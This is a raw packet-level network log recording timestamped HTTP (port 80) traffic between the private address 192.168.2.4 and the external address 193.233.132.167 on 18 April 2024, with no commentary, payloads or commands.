Apr 18, 2024 23:40:14.639250040 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639260054 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639267921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639276028 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639286995 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639303923 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639303923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639322996 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639332056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639342070 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639355898 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639362097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639380932 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639388084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639399052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639405966 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639416933 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639436007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639450073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639450073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639453888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639470100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639473915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639493942 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639512062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639507055 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639512062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639530897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639543056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639550924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639559984 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639569998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639575005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639590979 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639591932 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639610052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639612913 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639627934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639633894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639647007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639650106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639667034 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639672041 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639686108 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639692068 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639703989 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639707088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639723063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639723063 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639740944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639741898 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639760971 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639764071 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639777899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639785051 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639796972 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639811039 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639811039 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639816046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639837980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639854908 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639872074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639880896 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639880896 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639890909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639909983 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639920950 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639930964 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639949083 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639955044 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639966011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639986038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639991045 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640002966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640022039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640028954 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640039921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640049934 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640058994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640070915 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640079975 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640114069 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640131950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640140057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640140057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640156031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640160084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640176058 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640192032 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640198946 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640212059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640218019 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640229940 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640238047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640249968 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640258074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640275955 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640278101 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640276909 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640296936 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640300035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640326977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640346050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640425920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640444040 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640460968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640479088 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640490055 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640496969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640508890 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640516043 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640535116 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640541077 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640552998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640566111 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640572071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640590906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640590906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640609980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640629053 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640630007 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640647888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640650988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640667915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640667915 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640686989 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640702963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640712976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640721083 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640733004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640737057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640752077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640755892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640769958 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640775919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640789986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640794992 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640808105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640811920 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640827894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640827894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640846968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640851974 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640867949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640873909 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640887022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640904903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640922070 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640924931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640942097 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640949011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640959024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640968084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.640976906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.640986919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641005039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641005039 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641024113 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641033888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641042948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641055107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641062021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641073942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641083956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641092062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641102076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641107082 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641123056 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641124964 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641141891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641148090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641163111 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641166925 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641184092 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641185999 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641204119 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641222000 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641239882 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641249895 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641258955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641277075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641278028 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641294956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641298056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641314030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641326904 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641333103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641350031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641351938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641372919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641382933 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641391039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641400099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641412020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641419888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641429901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641442060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641449928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641460896 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641469955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641477108 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641489029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641506910 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641506910 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641525030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641529083 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641544104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641561985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641565084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641581059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641585112 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641598940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641607046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641619921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641635895 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641638041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641659021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641658068 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641678095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.641681910 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641681910 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641700983 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.641721964 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884013891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884062052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884083986 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884118080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884161949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884161949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884164095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884213924 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884551048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884589911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884604931 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884628057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884637117 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884668112 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884677887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884706974 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884716988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884756088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884762049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884802103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884809971 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884840012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884851933 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884877920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884881973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884917021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884926081 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884954929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.884964943 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.884994030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885030985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885042906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885068893 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885078907 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885107994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885143042 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885144949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885164976 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885185957 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885224104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885235071 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885263920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885273933 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885303020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885309935 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885340929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885349035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885376930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885389090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885421991 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885433912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885472059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885504961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885509968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885534048 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885546923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885551929 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885591030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885600090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885631084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885637999 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885669947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885678053 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885720015 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885725021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885765076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885771036 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885806084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885843039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885853052 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885879993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885889053 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885917902 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885956049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.885952950 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885973930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.885997057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886001110 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886037111 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886046886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886075020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886090994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886112928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886122942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886151075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886162043 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886190891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886199951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886229038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886240005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886281967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886329889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886333942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886370897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886378050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886409044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886416912 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886446953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886454105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886486053 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886497021 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886529922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886532068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886543036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886563063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886591911 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886600971 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886610985 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.886637926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.886677027 CEST	80	49746	193.233.132.167	192.168.2.4
